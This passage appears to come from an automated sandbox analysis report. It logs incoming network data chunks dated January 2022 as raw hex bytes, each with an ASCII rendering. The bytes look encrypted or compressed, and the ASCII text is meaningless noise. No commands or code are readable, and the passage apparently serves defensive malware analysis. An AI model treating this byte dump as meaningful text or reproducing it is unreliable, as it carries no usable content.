19 a7 68 e0 69 79 c5 38 d5 25 0b 90 97 b0 dc ce 01 96 85 7c 4b e6 54 7c 4b d7 f5 52 2c 83 3b 2a f4 b2 c3 a6 e6 49 b8 dd e0 40 c4 14 a5 5c 02 68 Data Ascii: _[AKF0Vja>U\L ye{OsM ua1fMdt$GN%b} m[G6Y.}]'v\hb-z{k_!i4BqtXQVPi$zGe^H6hiy8%\|KT\|KR,;*I@\h
2022-01-13 19:22:46 UTC	730	IN	Data Raw: 27 f9 33 99 06 fd 24 c5 a7 e8 52 b9 ba 83 31 2b 7c 10 b0 8f 1f 7e 44 bd b1 51 a1 b2 c8 d3 81 e4 5b 0e bd 2b 7d 71 d8 39 5c 58 10 e9 d6 08 43 57 92 b6 c2 eb c9 50 20 4c 29 85 37 df ec d9 f1 65 fe e7 de 27 07 ae d0 7f 38 c6 27 32 ee b5 40 45 b8 6c 6f a8 e4 58 12 a0 f2 9f 70 7a 4e 1c 9e c4 2d a0 fd c6 29 9b 08 ad 50 d0 03 5a 18 3f 44 66 7e f1 ca 52 2a ac d2 7c 4d 85 38 0f 3f d7 f0 90 92 7c 4e a5 61 23 01 8b 2f 74 5b 0d 37 11 3e cd 9c 26 8e 6b e7 97 04 22 81 3d 5d b8 ce de 62 f4 b5 c8 12 2a f4 10 ba 8a a8 59 9c bd bb d2 08 32 e7 a5 64 7c 4b be 3d 48 36 fd 29 54 13 1f 1d 2d 7b 07 c7 53 af 81 35 bf bf 58 1a 70 50 d3 8b df e5 5c 03 57 98 0c b2 5c 03 49 b9 20 9e 59 9d d5 8f b5 48 8c ae 6f ed 88 a5 20 9e aa d0 51 ab 3c dc 61 8e b0 dd d2 39 66 48 13 12 8f 94 af 6b Data Ascii: '3$R1+\|~DQ[+}q9\XCWP L)7e'8'2@EloXpzN-)PZ?Df~R\|M8?\|Na#/t[7>&k"=]bY2d\|K=H6)T-{S5XpP\W\I YHo Q<a9fHk
2022-01-13 19:22:46 UTC	734	IN	Data Raw: 4b fa e3 b7 2b 47 85 0e 87 6b 90 c5 f3 6e 37 20 c2 74 1d 5c 41 11 5b b1 70 60 59 c8 51 dd bd eb 85 7a 04 19 49 89 17 1a a1 38 87 76 19 70 12 df b9 e0 2d 3f 01 83 5c 33 59 ad 67 b5 0a 1b 56 77 83 6b a0 be 7e 16 ce 30 d2 39 12 ec 17 70 02 23 50 75 8c f0 12 dc 3d 00 2e b9 e8 08 2e cd ae e9 89 7b 91 6f b8 8b 72 16 cf b2 f2 80 83 73 94 c0 7c 1f 61 cd dd b4 95 5d c4 4a 6e 2f 39 14 c3 97 36 df b0 9e aa 8c fd 74 37 61 be 0c f6 e9 89 65 a4 bf d0 34 db cd cb dd b8 8d 57 c4 45 80 83 0a 3f 1a d1 db ae 9b 4b fd 74 68 4e 14 94 ee 0e f7 68 3c 98 cb c5 9c c1 93 2d 27 52 79 da 78 42 96 d1 d8 34 be 67 cc 52 78 3a 8d 53 f0 17 59 ca 42 a8 dc 4f 97 77 97 73 9f 2d 00 0d 70 01 8f 56 65 a0 af 39 66 49 89 6e 3e ba 6c 24 c2 79 b2 95 57 fa 91 29 42 bb fe df ac 80 c8 4d f7 7b b7 1a Data Ascii: K+Gkn7 t\A[p`YQzI8vp-?\3YgVwk~09p#Pu=..{ors\|a]Jn/96t7ae4WE?KthNh<-'RyxB4gRx:SYBOws-pVe9fIn>l$yW)BM{
2022-01-13 19:22:46 UTC	738	IN	Data Raw: 17 4a 0b 20 ae 85 0e e8 69 a2 ce 44 fe f4 84 e3 de 10 8b 3b 6a 21 31 20 ae 85 0e f2 80 e2 5c 55 a4 b6 fb 57 a8 fc 96 c6 1e cf b2 86 90 d3 bb f6 88 f8 8d 4f 97 75 eb d0 34 bf 8f 4a 0b 61 be 2c c9 d6 42 89 17 7f 01 89 17 79 f4 c5 9c e1 da 27 3e 90 a6 a5 55 c3 97 59 ad 15 16 c8 23 15 16 ec 72 01 ea 3d 6f dd d1 b6 fb 7d fc f9 0f 60 3c 98 b8 8f 24 de 53 ed f4 e7 e7 94 af 0e 87 57 a8 b9 81 69 d0 5d b6 bd 8a 98 b8 c8 23 a3 51 9b 3f 1d 28 af 6b bc 08 0d 04 11 0d 76 6d b6 fb 63 c3 e5 e3 b1 70 23 35 7d fc e2 5c 55 a4 bc 08 0a 7e 10 8b 69 d0 57 a8 b5 78 3c ec 72 64 45 80 e6 65 aa e0 39 66 07 f7 72 64 2b 47 e4 61 ce 30 bf 8f 4b 8e e1 da 4b 8e b4 f6 c4 1a a1 4c 20 ae ab 62 75 eb c0 11 34 db fd 18 a9 5e 08 79 f5 06 75 e8 47 85 0e 87 7c 7a 10 8b 75 eb b9 81 60 3c 80 83 Data Ascii: J iD;j!1 \UWOu4Ja,By'>UY#r=o}`<$SWi]#Q?(kvmcp#5}\U~iWx<rdEe9frd+Ga0KKL bu4^yuG\|zu`<
2022-01-13 19:22:46 UTC	742	IN	Data Raw: 04 0a cc d4 8d f3 f1 02 c7 0c 22 4c bd 21 e7 18 62 b6 04 8f f2 57 57 57 61 77 10 74 a4 1f d3 44 32 1a 5e c7 6c 9a 42 05 66 c5 27 c1 4b 0f 35 a2 0f d8 0a 81 9c 33 07 08 f5 fd 4c ef 52 ff c7 5f 0e 5e c7 5f 6a 8c 73 19 fb f0 99 c5 75 02 85 f1 2c 18 4c 72 15 67 bd 8a 66 b6 04 3d 6f dd d1 74 43 57 ea 91 9d f6 47 7a 93 c4 ea 91 f6 6a b9 7e a0 28 2b b8 20 4c fa 6e a9 ad 90 59 5f 54 d5 40 89 95 9f b7 c3 77 18 62 8d ec d0 cb 2e 4b 48 f8 71 16 67 33 89 c6 e1 25 f9 cc d4 c2 de 98 47 7a bb 4b 71 1d fc 45 7f fe 05 6f 16 67 8e 27 1e 55 eb 23 07 08 04 9e 91 d6 37 8b 5e c7 0d e4 b6 04 cc f6 77 10 59 73 0d fb f1 1d f7 f4 63 24 50 e6 aa 2f 9f 2a aa 8f 4b 8e 5d 49 76 24 b7 7d fc 26 aa f6 ab 9d e8 c5 55 5b 44 09 00 97 da a4 26 43 91 c7 55 5b 5f 4a fd e7 1f d4 c6 e1 25 c3 68 Data Ascii: "L!bWWWawtD2^lBf'K53LR_^_jsu,Lrgf=otCWGzj~(+ LnY_T@wb.KHqg3%GzKqEog'U#7^wYsc$P/*K]Iv$}&U[D&CU[_J%h
2022-01-13 19:22:46 UTC	745	IN	Data Raw: 2e 32 29 d7 0f f6 77 6b 10 74 97 43 bc f7 f4 1d f8 70 9f f6 69 2c 36 2d bc f4 7b 04 8c 62 be d9 1d fd 29 20 cc 49 89 17 1a a1 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 f7 0b 00 68 06 75 eb f0 e5 e3 de 53 68 c5 17 91 d6 bb 7f fe 65 32 23 ca d8 a9 b1 8f db 25 d2 c6 e1 3e 15 e9 13 cc f5 f9 f0 ac 32 29 bd 59 7e 80 7c c3 29 a6 28 01 26 43 83 b4 3a 17 e5 58 e6 9a 42 43 b0 12 70 d6 8e 5d 49 3a 24 48 f8 3c 20 51 64 eb 3c 13 ed 5f 76 92 54 8b d7 3b 95 95 fe 65 38 40 39 99 c5 3d a3 ae 16 06 b9 7e 80 1f e0 a7 a6 4e d8 b9 7e ea a5 aa 1f a8 19 e0 a7 2c 09 04 8f ab a9 a2 31 a2 38 12 70 96 42 0c 7d 0a 88 63 3c 1a 57 5e e2 f4 2c 61 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 Data Ascii: .2)wktCpi,6-{b) IL#5]$}2B)B)BhuShe2#%>2)Y~\|)(&C:XBCp]I:$H< Qd<_vT;e8@9=~N~,18pB}c<W^,a}2B)B)B)B)B
2022-01-13 19:22:46 UTC	749	IN	Data Raw: e6 9a 58 cf 57 57 4e f2 66 b6 1c 41 9f b7 94 46 ea 91 9b 8d 92 e3 b3 19 72 64 ba fb ec 72 64 45 80 bc 08 79 f4 32 f2 a4 e5 1c 27 bf 3c 13 d9 03 11 f2 47 42 05 0c 42 3a 17 e5 59 17 e5 1c 13 a7 a6 28 70 d0 cb 56 8c 34 24 48 c0 d6 bd 75 14 6e a4 2c 1b e9 13 ed 74 e8 a5 aa 8b 76 f2 7f 78 f2 33 a6 bc 65 58 d5 79 32 0f f6 77 1f d3 44 01 18 62 be e0 b4 09 04 bf 40 0a 81 c9 69 2f af a7 95 cd 51 57 64 ba fb df 19 e0 a7 95 fe 65 38 28 0c 7d 03 7d 6f 1b dc e9 81 65 38 1d b8 cf 4d 6d 6a 1f d3 44 4d df 2a 29 fc d9 37 ad b2 a7 a6 64 ad 3b 95 82 5f 45 7f b1 a8 23 ca 97 ee 88 6a 84 6c bd 75 0f ed 10 74 8d c5 79 0b e6 83 ec 8d c7 47 62 be bd 3b db 85 63 ae 84 8c 61 41 87 13 12 8f 24 f2 80 83 0a c6 3a cc 1e 55 26 3e 5e c7 72 b0 1e 55 69 1f da b5 b2 39 9f b7 b8 39 9f b7 bd Data Ascii: XWWNfAFrdrdEy2'<GBB:Y(pV4$Hun,tvx3eXy2wDb@i/QWde8(}}oe8MmjDM*)7d;_E#jlutyGb;caA$:U&>^rUi99
2022-01-13 19:22:46 UTC	765	IN	Data Raw: fa 91 29 df 9b 3f 73 7a 86 90 a6 65 4b 8e a2 52 f7 0b 00 f4 54 22 b3 cc e3 de 53 03 2e cd ae 75 4b 8e a2 76 a5 55 a4 4f 05 f3 02 f0 0c 82 87 ab aa e0 58 b6 8a 99 3a 74 3b 6a 52 a4 b3 74 68 d2 74 68 4e 88 95 32 d6 fb 43 7c 7a ed 16 98 b8 64 a5 55 a4 6a 06 75 eb 6b 72 64 45 1b 6f dd d1 04 fc 96 b4 6d 9c c1 93 b6 d3 bb 86 29 02 6c 57 32 0e 87 13 88 91 29 42 43 60 3c ec eb 4d 92 ab fb 63 c3 97 84 4c 10 8b 83 f7 0b 00 f0 c3 97 36 67 30 d2 39 fe 2a c5 9c 59 f1 fd 18 2f dc 4f 97 ae a1 4c 10 13 22 b3 74 da c6 1e aa 78 58 2a c5 0b f0 7b f8 3f ff 1c a6 40 26 bc 08 ee cb a9 5e 80 5f ba 04 e7 52 1d 28 57 80 83 0a c6 ca 27 3e 66 68 4e 14 01 5a 2f 50 ab a2 ce 30 47 2d 4b 8e 37 15 16 98 00 b8 ff 1c 33 37 61 be 99 6a 52 1d 9a 31 54 22 26 8e a2 ce a5 75 eb f0 c3 03 ee 77 Data Ascii: )?szeKRT"S.uKvUOX:t;jRththN2C\|zdUjukrdEom)lW2)BC`<McL6g09Y/OL"txX{?@&^_R(W'>fhNZ/P0G-K737ajR1T"&uw
2022-01-13 19:22:46 UTC	777	IN	Data Raw: 54 f0 48 c4 91 65 c7 a0 cf 22 a6 28 d0 42 71 aa 3e 7a 3e ea 85 39 ed bc 08 79 c8 19 22 3e b9 a1 a0 49 c1 c4 0a 5a 5b 38 ac ed d0 68 c7 e8 a5 99 f6 44 32 1a 62 69 14 17 52 e2 a3 bc 33 b1 75 9f 81 80 cb a9 5e 0c ff 11 86 d8 6e b7 fe d2 f5 ca eb 3c 20 62 8d ec be c0 dd 1d e4 ad ab ae 25 f9 52 3d ab e1 92 6a d9 09 6f d2 f9 0f 09 fe a2 4f 5e 0b 01 61 f6 62 ca 6f fd f4 07 bf da 0a b2 3e 3d a3 9d 8f e8 a5 99 f6 44 32 1a 6d 15 d5 e2 7c be 8f 6c c7 5f 45 7e 07 1f 2c c9 a5 5d 0f e3 55 ec 52 f1 7e 37 34 9b f3 ce fc 5a e3 12 43 bf d2 19 db 4e 5c a3 ae 16 63 26 54 2a 4e c5 17 52 1c 2d 03 04 fb 5b 91 c5 1f 64 10 cb 65 0b cc e7 2b 8b d8 56 e2 df 9d 4b aa bc 83 46 27 2a 4e 58 db bf 5c 08 34 c0 95 77 10 74 98 b8 64 c8 6e ab 62 a3 d0 75 8d 35 2e 1e 91 64 45 80 83 1a 84 90 Data Ascii: THe"(Bq>z>9y">IZ[8hD2biR3u^n< b%R=joO^abo>=D2m\|l_E~,]UR~74ZCN\c&TNR-[de+VKF'NX\4wtdnbu5.dE
2022-01-13 19:22:46 UTC	793	IN	Data Raw: 8b 53 bf ab 16 13 5e 10 af 17 91 65 e7 c3 d3 c4 15 e5 3a 63 8b c1 97 26 b3 af 68 06 6f 36 34 a9 91 12 c7 79 7f 49 99 fa 12 c7 ae 9c f1 c4 56 27 75 66 01 28 c3 df d1 56 e7 af a8 57 e0 70 35 d6 0a 41 0b df ee 3f 73 e6 20 c6 0b ff d2 b2 ba 04 70 24 4e 01 15 e8 e2 19 d2 b2 ba f2 b3 31 54 22 b3 e6 e1 d5 40 70 28 1b 10 8b 1b 66 fa 84 73 28 4b c6 17 6e ad e2 14 90 49 48 4f bf f2 ab 2a f5 7b 73 ae e9 ec 37 94 ba fb d9 43 34 29 c9 ed 1d a3 19 2f bc 8b 53 c8 62 17 5b e6 7d d8 32 5f f2 90 82 eb 79 bc 00 4c 4c 99 72 a8 10 47 49 45 4c dc 8c c1 a3 95 b1 38 ac c1 e7 6c 1f 6c 73 ba 8f 6c 57 a8 99 b9 94 50 d2 b2 ba 0d 70 bb 03 a6 d7 c4 5c b2 e7 18 52 96 fc 9f 3c 13 97 7e b5 7c 05 fc 65 e7 c3 d3 ab 6d f1 d9 8c 17 52 d4 3e b9 a1 68 0a f7 43 bc 3b 73 95 fa aa a8 d8 ae 28 88 Data Ascii: S^e:c&ho64yIV'uf(VWp5A?s p$N1T"@p(fs(KnIHO*{s7C4)/Sb[}2_yLLrGIEL8llslWPp\R<~\|emR>hC;s(
2022-01-13 19:22:46 UTC	809	IN	Data Raw: 8f 20 ed 33 59 ad 67 17 9f 47 86 6e d8 07 e6 19 1b 58 13 12 8f a3 1c b3 8b d0 bf c7 a9 2a 05 76 25 3a e8 d3 10 8e 29 0a 7e 7f 86 f2 95 cd 65 4c 58 23 41 b8 7a 3e f1 fd a2 6e 5e b3 3c ec 72 e3 a9 4b 71 29 c9 ed f4 84 88 95 8a d8 46 03 ee a7 7d 68 c5 d4 2a b1 b0 68 06 75 eb 4a c0 14 1f 64 3d 2c 40 bd 4d 19 57 ab 89 17 1a 26 1f 39 99 32 a2 0e 02 24 b7 7d 47 9b 3a 63 8b 1b 23 4a 14 7c 3a 93 a4 9b 17 61 37 2d 77 84 05 cb c2 9c 85 0e 87 13 9a 3e 78 39 16 bc 4c 9b 77 ef f9 0f 89 94 26 f4 b4 b4 7b bc 08 79 f4 1c 82 03 65 8f 04 33 d0 7c 7a 76 6d 49 ad e3 55 ec 3a a3 dc 07 ef ba 8d 10 e8 e0 14 46 30 d2 39 e3 77 fa 6e 4b cd 27 76 aa 6b 9d 40 80 bb bf e9 e9 98 78 f4 cc 2b 47 85 be 28 44 75 a3 59 ee fe 65 f4 44 01 ea 6e e7 40 f0 ba 0b f0 7f 7a ff 2f d9 8c 9e c5 9c c0 Data Ascii: 3YgGnXv%:)~eLX#Az>n^<rKq)F}hhuJd=,@MW&92$}G:c#J\|:a7-w>x9Lw&{ye3\|zvmIU:F09wnK'vk@x+G(DuYeDn@z/
2022-01-13 19:22:46 UTC	825	IN	Data Raw: f1 f5 06 75 ea 6a 66 6d b8 8b 7a 12 e6 4b 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 13 12 8f 24 a3 50 1a a1 4c 10 83 0a 7e 7f 15 24 93 4c 64 24 d3 d2 17 1a a1 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 97 35 5d b6 fb 15 16 98 b1 30 d2 39 66 49 fa e2 3e df d5 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 43 7f 01 ea 6e 59 ad 67 cc 1b 23 35 5d d7 b0 8c fa bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 90 a5 55 a4 d3 ba 04 70 78 a1 4c 10 8b 6f a5 30 a6 f9 0f 0a 7e 7f 01 e2 5c 33 5b ed f4 84 e7 89 62 29 36 b9 81 06 75 eb f0 73 e6 65 c6 1a a1 4c 10 ee 1a c0 7f 69 d0 34 db cd ae e9 ec 72 64 45 80 83 0a 7e 1a ca 46 65 c6 79 f4 84 73 18 9d 43 7e 9b 3f 73 e6 00 04 19 79 da 4a 08 79 f4 84 84 8c 9e c0 25 0c a6 b6 8f 45 e4 08 57 a8 df d5 bf 8f 2c c9 Data Ascii: ujfmzK09fIL$PL~$Ld$L#5]$}5]09fI>$}2B)CnYg#5]$}2B)BUpxLo0~\3[b)6useLi4rdE~FeysC~?syJy%EW,
2022-01-13 19:22:46 UTC	841	IN	Data Raw: 36 df d5 bf 8f d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 db cd af 6b d5 bf 8f 24 b7 7d 13 12 8f 24 b7 7d fc 96 59 fd 18 9c c1 93 2d 4b 8e a2 ce dd d1 b6 fb 13 12 8f 24 5f e9 ec 73 e6 65 c7 a0 ca 27 3e 14 94 af 6b d5 bf 8f 24 09 ab 62 40 f5 06 75 eb f0 7b f8 33 59 ad 67 cc 2b 47 85 a4 d3 bb 86 90 a6 d7 c4 1a a1 4c 10 8b 1b 23 35 5d e2 5c 32 d6 42 fa 91 29 42 fa 7e 7f 01 ea 6e 5b b1 70 88 0a 2f 51 68 4e 10 8b 1b 23 35 5d b6 fb fb 13 12 8f 24 b7 7d fc 70 34 db cc 2b 47 85 0e 87 13 12 69 d0 34 db cd ae e9 ec e8 38 e4 60 3c ec 72 64 45 80 83 90 a6 d7 c4 1a a1 4c 10 02 f3 53 9e 36 df d1 b6 fb 13 12 8f 24 b7 f4 84 8c 9e c5 9c c1 93 ac b4 f6 89 17 1a a1 4c 10 8b 1b a2 ce 30 d2 39 66 49 89 67 cc 2b 47 85 0e 87 13 12 8f 24 b7 7d fc 96 b4 f6 dd d1 b7 7d fc Data Ascii: 6=o$}k$}$}Y-K$_se'>k$b@u{3Yg+GL#5]\2B)B~n[p/QhN#5]$}p4+Gi48`<rdELS6$L09fIg+G$}}
2022-01-13 19:22:46 UTC	857	IN	Data Raw: 89 16 98 b8 ff c4 1a a3 51 9b 3e 1f 2d 4a 0b 05 f1 0e cc c3 2d 40 f6 ee 02 6f e0 01 9f 1f 75 9e 92 f2 be 5a 75 b1 b6 a1 15 65 7c e5 d3 e1 92 17 5b e9 ed d5 bc 08 79 f4 84 e5 2b 66 09 f9 06 75 eb f0 7b fb 13 7a 58 46 62 2f 22 d6 36 b1 19 1f 2c cb a9 36 f1 9f 21 5d d2 4d e1 da 4a 09 fb 7b d6 31 31 24 ce 44 89 17 1a a3 51 f3 2c a0 ba 65 a2 bd eb 92 c6 71 81 05 f3 03 ee 14 ba 70 09 83 6f b3 1b 57 c9 a5 55 c1 f7 7e 13 71 8c f7 24 c3 e5 80 ae dd e7 90 8b 6c 30 bc 61 d3 94 db a4 b4 db fe ec 5f 8e 94 d8 6b a2 a9 30 bb eb df b6 89 64 6a 24 d2 5d c5 ef 96 c6 7d d3 81 46 03 8b 7f 74 04 13 7c 13 3d 5d 85 79 93 43 15 7b d5 8b 2d 3c c1 a7 6f 82 b1 48 7f 2e f9 39 0b 64 31 79 9a d4 5c 5b d2 55 cb c6 6a 7f 75 98 d7 ac ca 55 c1 e7 94 ce 5d d5 dc 28 ef 8f 41 1c d5 cc 44 8c Data Ascii: Q>-J-@ouZue\|[y+fu{zXFb/"6,6!]MJ{11$DQ,eqpoWU~q$l0a_k0dj$]}Ft\|=]yC{-<oH.9d1y\[UjuU](AD
2022-01-13 19:22:46 UTC	873	IN	Data Raw: 32 b1 19 6c 39 13 32 b1 1e c5 f0 5b d6 2c a6 bb 81 0d 06 75 eb f0 cf 91 2b 47 f1 a2 ab 18 f4 f7 08 79 86 f1 95 51 9d 42 f8 8d 20 be bd 8a 99 3a e8 69 d0 36 f8 8d 20 ae e9 85 c6 3b aa e0 3b 44 9a cf da 3e 82 eb 84 a3 25 48 64 6a 26 ce 53 b2 c6 28 b7 50 6e 3c 82 ee 1a 8e d6 2b 20 83 39 10 a6 e3 e8 1e 87 64 22 dd b8 92 84 ef 8b 68 61 c8 46 67 bf fc f9 7d 9f 67 f6 cb a8 dc 76 54 57 c6 79 c9 c1 e7 94 82 a7 6b 9a 90 86 f7 26 9c f5 30 ff 2a fd 60 01 82 e4 13 73 8b 36 ff 7f 68 3c 89 79 91 4e 29 27 50 6c 23 58 07 d7 f0 4d ff 31 74 5a 01 d3 95 06 55 e7 c7 f5 48 40 f4 8c 9e c5 8f 7c 7a 72 64 45 88 1f 2c 55 a5 55 a4 d3 bb 86 90 a6 d4 3d 6f dd d1 df 1d 0d b4 ff 1d 28 b4 93 5e 5d c4 6a 34 84 8e a2 ce 20 91 29 42 fa 91 29 42 fa 92 ab 62 41 78 18 55 81 b5 78 12 a1 7c 4b Data Ascii: 2l92[,u+GyQB :i6 ;;D>%Hdj&S(Pn<+ 9d"haFg}gvTWyk&0*`s6h<yN)'Pl#XM1tZUH@\|zrdE,UU=o(^]j4 )B)BbAxUx\|K
2022-01-13 19:22:46 UTC	889	IN	Data Raw: 73 e7 b5 79 e9 ec 72 69 86 90 a6 d7 c4 73 2e d6 a8 c0 11 3d 6e 63 b4 f4 99 4a 7d fe aa 97 34 c6 66 3f 71 ca 50 1b 3e f1 fd 18 9d 2a 0d 74 28 c3 9e e5 94 ad 7a 76 1e a8 84 8d 3d 5f bb d4 3c f1 fd 18 90 e5 e3 de 53 9f 21 f9 14 37 7d fc a6 d6 1a a0 d7 ac 93 2f 01 eb ed f4 f7 09 a9 5f a7 59 ad 6a 5a 2f 50 19 1f 45 48 1c c7 bc 08 79 f4 84 8c f7 c3 e7 a7 5a 26 ee 76 70 60 3c e0 b1 70 60 3c ec 1b eb eb ba 18 d5 2e cf b2 f2 85 88 f8 8c 9e a4 a7 38 a0 ae 87 7b e3 de 53 8b 39 66 49 83 21 5d b7 7d 85 7c 0e e9 a9 2a a6 b1 6a 12 1e a8 dc 4f 92 c3 fc 97 36 ba 69 b1 02 2a b7 18 f5 75 82 eb 92 ca 53 ec 17 01 95 8a 08 7a 76 6d dc 27 55 a5 55 c1 e0 39 24 d0 59 c4 01 b9 80 83 0a 7b 90 cd af 6b 96 e4 0d 6b a7 2d 25 55 c7 bb d6 d3 b9 81 05 fe 3d 06 74 68 2b 2e a6 b8 90 c5 87 Data Ascii: syris.=ncJ}4f?qP>t(zv=_<S!7}/_YjZ/PEHyZ&vp`<p`<.8{S9fI!]}\|jO6i*uSzvm'UU9$Y{kk-%U=th+.
2022-01-13 19:22:46 UTC	905	IN	Data Raw: 76 24 d9 a7 30 a6 a7 3c 8f 5c 76 6b cd ae e9 e9 cd a7 cf b1 70 13 60 59 d9 ad 0a 1f 5e 59 fd 6a 37 03 83 7f 4f 91 39 66 49 8c 1f 25 af 68 4e 67 bf ea 1c c2 71 a3 3f 1c cf c6 6e 3e 92 d3 fe 9c c9 a5 55 a5 1c af ff 1f 2c ad 15 79 97 53 cd c0 7e 16 ec 02 09 98 c0 54 24 b3 74 68 4b af 62 d2 3a e8 1a c6 7f 6d 9f 26 d3 d2 4d e2 39 05 8b 5e 3e f1 fd 18 98 99 33 cb aa e0 3d 0b 6f 9e ab 0d 6d ad 17 7f 62 39 23 33 59 ad 65 c2 1c 37 62 d9 c8 67 9e 8a da 0f 5b ee 39 29 0b 54 72 21 72 3c a9 01 ef f9 0f 08 36 d7 c0 11 7f 60 54 41 58 4e 71 8c f9 66 3a 86 e5 eb f1 ff 1c d2 57 c1 b3 10 ee 19 78 18 ee 19 6a 72 03 80 ec 1e ad 63 c1 93 48 77 96 c0 74 12 e6 16 9f 40 f7 0b 74 06 1c 86 f4 e1 b4 91 40 86 fe ef fe 9e c7 a0 be 62 28 e0 3f 1d 47 e9 e9 e8 6b d5 cb c7 c9 a0 ce 32 d6 Data Ascii: v$0<\vkp`Y^Yj7O9fI%hNgq?n>U,yS~T$thKb:m&M9^>3=omb9#3Ye7bg[9)Tr!r<6`TAXNqf:WxjrcHwt@t@b(?Gk2
2022-01-13 19:22:46 UTC	921	IN	Data Raw: 10 8b 1b 23 17 1a a1 4c 16 98 b8 ff 5c 33 59 ad 63 33 59 ad 06 01 8b 7f 73 c8 e3 8e a2 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 10 8b 3b 6a 52 1d 2a c5 9c c1 a3 51 9b 3f 73 b6 fb 13 12 ee 03 8f 40 db ad 37 61 9e c5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 8f 24 b7 7d e6 65 c7 a0 da 4a 0b 00 71 52 1d 28 c0 65 bf ea 1a 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 28 98 b8 ff 8d b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa b9 81 05 43 5c 33 59 ad 67 cc 2b 47 85 0e 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 75 eb f0 bb 86 90 a6 d7 c4 1a a1 4c 10 8b 1b 22 53 9f 48 57 a8 dc 4f 97 36 df d5 bf 8f 24 b7 7b a8 dc 4f 07 f7 0b 00 68 19 1f 2c 49 89 17 1a a1 5c 33 59 ad 67 cc 2b 47 85 0e 87 03 ee 77 ef f9 0f 09 Data Ascii: #L\3Yc3Ys09fIL;jR*Q?s@7a-K09fI$}eJqR(e$}2B)B)B)B(2B)B)B)BC\3Yg+G$}2BuL"SHWO6${Oh,I\3Yg+Gw
2022-01-13 19:22:46 UTC	937	IN	Data Raw: d7 3b 6a 14 f0 08 2b 3f 01 99 5e 54 61 d6 33 3d 0d 77 81 74 10 cb a9 5e 38 f7 f4 7b 07 08 79 f4 c0 7c 0e eb a1 28 b2 9c b5 09 99 5e 75 8b 77 8b 69 90 a6 d7 c4 08 86 6f 22 4c 10 8b 1b 23 70 11 69 b4 a7 3d 1d 46 77 9e a7 3d 6f dd d1 ba fb ec 8d df d5 bf 8f 24 fc f8 ef 93 7c 1e d8 28 b4 87 71 86 90 a6 d7 c8 dc b0 12 70 60 3c ec 72 2f 3e 91 4a 5a 4b fc f8 f9 7e 1d 4c 10 8b 1b 2f af 94 50 e6 65 c7 f2 e8 10 ef 97 53 ce 54 50 77 9b 4e 76 09 fb 13 12 81 fa 6e a4 2c c9 a5 55 e1 b2 9f 2b 16 fc e4 0f 7d 8d 42 9e 85 0e 87 13 1f d3 44 01 15 16 98 ed 9c b0 9e b1 10 e0 18 f6 e3 b0 8f 60 4b 8e a2 ce 3e 0e 78 8e 5d b6 fb 51 ea 0a 1e d9 ac aa 91 47 e7 83 78 03 ae e9 ec 72 6a ad 98 47 7a 76 6d d9 c8 71 86 e3 8d 47 f4 e0 38 87 51 f5 6b a6 b3 03 9d 43 7c 7a 66 b6 04 8f db cd Data Ascii: ;j+?^Ta3=wt^8{y\|(^uwio"L#pi=Fw=o$\|(qp`<r/>JZK~L/PeSTPwNvn,U+}BD`K>x]QGxrjGzvmqG8QkC\|zf
2022-01-13 19:22:46 UTC	953	IN	Data Raw: 96 b4 f6 c9 a0 9a bd ca aa 92 c4 68 3c a9 33 38 81 77 9b 6c 12 83 0a 3e c5 b8 ff 5c 00 80 83 4a 38 28 c0 51 ad 33 59 ed c2 75 eb b0 db 91 29 02 5a 77 ef b9 b7 31 54 62 27 1e aa e0 58 26 bc 49 8d d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 bb 82 73 25 3b 6a 16 10 df f8 0e 47 0e 44 a3 a9 b5 87 ec 46 81 ec b1 70 21 35 c1 fb 03 67 a8 85 57 f2 40 c6 1e ee ff 48 02 93 0d 8d 44 ce cf d6 42 bb 82 12 e7 b2 32 e5 0f 82 d2 fa 90 a6 93 a5 05 de d0 a4 10 d6 ba ef 06 8a ad de ba c7 a0 8b 1f 49 e1 ca ae 8d 79 ad 3d af 58 d5 40 b0 59 45 80 c3 87 13 07 7c 7a 76 6d db 74 68 0f 8a 01 52 e2 a3 6a d7 2c c9 e4 e2 fc 2e d2 4c 10 cf 3a b8 fa 6e 7b 71 86 a0 35 39 66 08 7d a2 a6 82 47 b6 17 91 7c 7a 76 6d f7 0b 00 68 4f 68 b1 8f db cd Data Ascii: h<38wl>\J8(Q3Yu)Zw1Tb'X&I=o$}2B)B)Bs%;jGDFp!5gW@HDB2Iy=X@YE\|zvmthRj,.L:n{q59f}G\|zvmhOh
2022-01-13 19:22:46 UTC	969	IN	Data Raw: 62 35 5d f7 8a 31 54 22 b3 74 68 0a 0e 8b 1b 62 c0 bd 8a 99 3a e8 69 94 df 8d 20 ef 78 c1 93 2d 4b 8e a2 8a e9 18 9d 02 ed 40 f5 06 75 eb f0 3f 02 10 8b 5a ae 51 9b 3f 73 e6 65 83 7b 58 2a 84 0d b8 ff 1c a6 d7 c4 5e 48 bf 8f 65 46 c3 97 36 df d5 bf cb d9 c8 23 74 e9 28 c0 11 0d 04 70 24 c7 20 ae a8 5d 7e 7f 01 ea 6e 5b f5 76 b9 81 44 7f cd ae e9 ec 72 64 01 9b 33 59 ec f3 d2 39 66 49 89 17 5e 48 cb a9 1f ad b3 74 68 4e 14 94 eb 80 f3 02 2d ca ff 1c a6 d7 c4 1a e5 93 f5 06 34 5a f3 02 6c 57 a8 dc 0b 71 b2 f2 c1 12 6f dd d1 b6 fb 13 56 56 22 b3 35 dc ab 62 41 78 71 e2 18 ed 8c 9e 84 0d ec 72 64 45 80 83 